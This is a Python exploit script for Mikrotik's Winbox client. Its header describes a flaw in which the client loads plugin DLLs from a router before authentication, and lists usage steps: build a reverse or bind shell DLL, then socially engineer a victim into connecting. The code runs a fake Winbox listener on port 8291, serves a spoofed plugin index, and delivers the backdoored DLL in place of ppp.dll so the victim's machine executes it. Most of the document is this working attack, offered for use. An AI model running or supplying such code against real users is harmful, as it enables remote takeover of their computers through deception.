#!/usr/bin/python # Exploit Title: Mikrotik's Winbox Remote Code Execution # Author: PoURaN # Software Link: http://www.mikrotik.com/download.html # Version: probably all winbox versions. Tried 2.2.7 - 2.2.18 # Tested on: Windows XP SP2, SP3, Windows 7 SP1, Win2k8, Win2k3, Wine # <> Other files needed by this exploit can be downloaded from http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip <> # # Vulnerability Description # =========================== # When you connect to mikrotik router using winbox, it is asking for an index # with plugins (DLLs) their size, version and CRCs. # If something new is found, or if that client haven't connected to that mikrotik version yet, # winbox requests the new plugin(s) (.dll file(s)) from mikrotik router. # When winbox downloads all the DLLs required in order to load the controlling interface of the # mikrotik router, loads the DLLs and then tries to make an authentication # to the remote mikrotik router. The vulnerability exploits that winbox # is loading the remote dlls before authentication and without any further # confirmation of plugins originality. # # The exploit # ============= # This is a winbox vulnerability which exploits the way that winbox is working. # That is the reason why it's working on all winbox versions (even on today's version) # This exploit is based in leading (socialy) the victim to connect to this malicious # winbox listener, using his/her winbox client. # More details in www.133tsec.com # # Usage # ======= # details in www.133tsec.com # Download all files that exploit needs from http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip # In order to use this exploit successfully you have to : # # 1. Have index.bin in the folder where .py script is running # 2. Have all original DLLs of the spoofed index in the folder where .py script is running # 3. Make a reverse/bind shell DLL, compress it with gzip and place it in script's folder and # enter it's filename when script will ask for it. # *** Your DLL's filename must have 7 chars length (ex. ppp.dll) *** # *** The gziped version of the dll, must be between 10k-99k (must have 5 digits of size) *** # The above 2 restrictions caused to the fact that i don't create the index dynamically from the script.. # 4. Social your victim to connect to the machine running the script, and gain the shell u r expecting # # <> Greetz flies to mbarb, dennis, andreas, AWMN and all friends and researchers out there <> # import socket,sys,os,struct,random global fPointer def SendFile(conn, filename): f = open(filename, 'rb') global fPointer f.seek(fPointer) fData = f.read(66049) fPointer += 66049 f.close() data = conn.send(fData) random.seed() print "\n+-----------------------------------+" print "| |\\" print "| Winbox remote client DLL injector | |" print "| = coded by PoURaN = | |" print "+___________________________________+ |" print " \___________________________________\|" randByte = str(random.randint(100,999)) # i need 3 random digits for a random crc filename = raw_input("\nEnter the compressed filename: ") fileRequest = 'ppp.dll' # this will be the file in the index, that the client will request # and we'll send the backdoored dll instead of the original one. try: # Open the compressed file (gzip format) in order to send it later.. f = open(filename, 'rb') buff = f.read() f.close() except: print "[-] Error opening file" sys.exit(0) # This number is very critical for the other structures compressedFileSize = os.path.getsize(filename) if compressedFileSize < 10000 or compressedFileSize > 99000: print "[-] Error. Compressed filesize must be between 10k-99k! Read comments or visit 133tsec.com for details" sys.exit(0) # Make the index include the size of the custom dll file... overwrite the ppp.dll size # ( That's why we need 7 chars filelength and 5 chars filesize.. got it? :D ok am a bit lazy... ;p ) f = open('index514.dat', 'rb') myIndex = f.read() f.close() myIndex = myIndex[0:0x9F] + str(compressedFileSize) + myIndex[0xA4:] # changing filesize dynamically, in hardcoded ocffsets! **** THIS IS WRONG IF THE FILESIZE IS NOT 5 DIGITS! ***** myIndex = myIndex[0:0x9B] + randByte+" " + myIndex[0x9F:] # changing crc to a random one so am sure every time client is downloading my backdoor again. WinboxHeader = ("\xFF\x02" + # WORD: hardcoded #"\x70\x70\x70\x2E\x64\x6C\x6C" + # VARIABLE-SIZED: filename (printable chars) MAX:11 chars fileRequest + # **** THIS IS WRONG IF THE FILENAME LENGTH IS NOT 7 CHARS! ***** "\x00\x00\x00\x00" + # VAR-SIZED: zero bytes till strlen(filename) + \x00*X = 11 bytes. These zeroes may not exist if strlen(filename) = 11 "\x01" + # BYTE: hardcoded. signals the end of zeros and beginning of the length struct.pack('>h',compressedFileSize) + # WORD: length of gzip'ed file in big endian "\x00\x00\x00\x00") # DWORD: hardcoded zeros before the gzip magic bytes. print "\n\n[+] File \'"+filename+"\' opened with size "+str(compressedFileSize)+" bytes" print "[+] Waiting connection on port 8291.." s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 8291)) s.listen(1) conn, addr = s.accept() print '[+] Connection received by', addr print "[+] Waiting for index." data = conn.recv(1024) if data.find("\x12\x02"+"index"+"\x00") > -1: print "[+] Index received!" else: print "[+] Wrong index.. Exiting.." sys.exit(0) print "[+] Sending DLL Index (Step 1)" # Step 1 : Sending the dll index list... data = conn.send(myIndex) data = conn.recv(1024) global fPointer fPointer=0 # checking if client requests the .dll we sent.. this depends to the CRC sent in Step 1 while data.find("\x12\x02") > -1: # If a file is requested..... if data.find(fileRequest) > -1: # if the file is our backdoored compressed DLL.. ;) print "[+] Client just requested " + fileRequest print "[+] Sending compressed file with custom header (Step 2)" ######################################################################################### # Step 2 : Sending the gzip file raw data with the custom header # ######################################################################################### # Constructing the custom compressed file format # ######################################################################################### # 1. The header of the gzip file must be in format: WinboxHeader # # 2. The gzip contents must contain the word 0xFF 0xFF in every 257 bytes (0x101) # # 3. The gzip last 0x101-chunk must contain the word 0x(size till end of file) 0xFF # ######################################################################################### # Give the spark customGzip = WinboxHeader customGzip += buff[0:0xED] customGzip += '\xFF\xFF' #Loop the most data for i in range(0x1EC, len(buff), 0xFF): customGzip += buff[i-0xFF:i] if 0x101 > (len(buff)-i): # if it's the last FF FF appended, then do it \x[(bytesToEOF)byte]\xFF customGzip += struct.pack('=b', len(buff)-i) + '\xFF' else: customGzip += '\xFF\xFF' #..and finish it customGzip += buff[i:len(buff)] data = conn.send(customGzip) print "[+] Compressed file sent" data = conn.recv(1024) else: # else it's requesting another file from index.. while (data[2:].split("\x00")[0]!=fileRequest) and data[0:2]=="\x12\x02": # send other index's dll except the backdoored... fPointer=0 print "[x] Client is requesting "+data[2:].split("\x00")[0]+" file.." CurrentRequest=data[2:].split("\x00")[0] while data[2:].split("\x00")[0]==CurrentRequest: SendFile(conn, CurrentRequest) data = conn.recv(1024) print hex(struct.unpack('=B', data[18:19])[0]), hex(struct.unpack('=B', data[19:20])[0]) print "Succeeded.. Enjoy!" conn.close()